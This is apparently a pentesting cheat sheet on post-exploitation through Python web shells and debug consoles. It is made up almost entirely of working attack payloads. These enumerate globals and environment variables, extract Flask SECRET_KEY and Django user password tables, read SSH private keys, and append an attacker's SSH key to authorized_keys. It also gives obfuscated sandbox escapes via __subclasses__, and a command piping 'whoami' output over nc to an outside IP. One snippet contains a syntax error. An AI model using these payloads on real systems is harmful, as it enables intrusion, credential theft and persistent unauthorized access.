Python Web Shells
Enumerate the environment
globals
print(globals().keys())
print(sorted(list(globals().keys())))
print(globals())If
osorsubprocessare available, try to run commands directly
os.system("id")If not, try accessing it via
builtins
__import__('os').system("id")Check also environment variables
import os
print(os.environ)Check the attributes of what is available:
print(dir(User))locals
locals().keys()builtins
__builtins__.__dict__Identify Object Types
sessions
sessionsprint(type(session), session)print(session.__dict__)print(session._get_current_object())print(app.config)
print(app.config['SECRET_KEY'])db
dbprint(type(db), dir(db))dir(db)There is a
Django Admin Shell?
print(type(db))print(db.connection.cursor().execute("SELECT * FROM auth_user;").fetchall())print(db.connection.cursor().execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall())If
dbisSQLAlchemy?
print(db.engine.url)If
queryandUserare available:
print(User.query.all())print('\n'.join(f"{u.username}:{u.password]}" for u in users))Enumerate the system
os.getcwd()os.listdir()os.listdir('/home/user/.ssh')with open('/home/user/.ssh/id_rsa','r') as f: f.read()Try to inject SSH keys
with open('/home/user/.ssh/authorized_keys','a') as f: f.write('\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SwpwZ7rgMtCZYzkDtFJvQZO20N+8DmYxOix+PgL6VQW/9wZC3xnKK1zeAelMYtv/O38GXE2ghUH7z6ayVmTMkjGqt18mhsEpCt0BbonGRC0IHoBsV5QBVNin+x1soVdECT1Tr45bNnTnkZXIgSyDumc+2Ix6A1wiiC5RbI3SrxJ7nL0lRlhjdoAH6KCb4dwhX+Jos0VudHRreE01+0YE0Qb7Sd0eA5Cq7UtjgiW6VyXcmWH7aQdVZlUanrs5wdwWYeVCxY/XfFCCDmHZw+8W5INudM2t7on7bl/rYnhAExOr14/1s7LfYAfV8B6VNPPX+IOzOcT4aYQC3rRDiG5P tokyo@arch')Bypass Sandbox
Pass modules as strings:
print(globals()['o' + 's'])print(globals()['so'[::-1]])o_s = globals()['so'[:1]]
po_pen = getattr(o_s, 'poXpen'.replace('X', ''))
cmd = po_pen('id')
res = getattr(cmd, 're' + 'ad')()
print(res)Works if builtins is accessible - common in debug consoles
__builtins__.__import__('os').system('id')Find usable classes - If __builtins__ is restricted
print([x.__name__ for x in (1).__class__.__base__.__subclasses__()]) Using catch_warnings - Common in Python 3
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == '_IterationGuard'][0].__init__.__globals__['os'].system('id')subprocess.Popen - If os is Blocked
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0](['whoami'], stdout=-1).communicate()importlib Bypass - If import is Restricted
[x for x in (1).__class__.__base__.__subclasses__() if 'wrap_socket' in x.__name__][0].__init__.__globals__['__import__']('os').system('id')For Older Python sandboxes - Python 2.x, some 3.x
[w for w in 1..__class__.__base__.__subclasses__() if w.__name__=='Quitter'] [0].__init__.__globals__['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('whoami | nc 10.10.16.25 8888')Exploit sessions
Stealing Flask Session Cookies
If
sessionis aLocalProxy, you can extract its real data.
print(session.__dict__)print(session._get_current_object())If the secret key is exposed you can forge malicious sessions.
Modifying Django Sessions
from django.contrib.sessions.models import Session
print(Session.objects.all()) Look for RCE
Use the subprocess.check_output() function instead to execute code and save it to a variable:
import subprocess
proc = subprocess.check_output('whoami', shell=True );
print(proc.decode('utf-8'))proc = subprocess.check_output('ls -la /home/hal', shell=True );
print(proc.decode('utf-8'))Last updated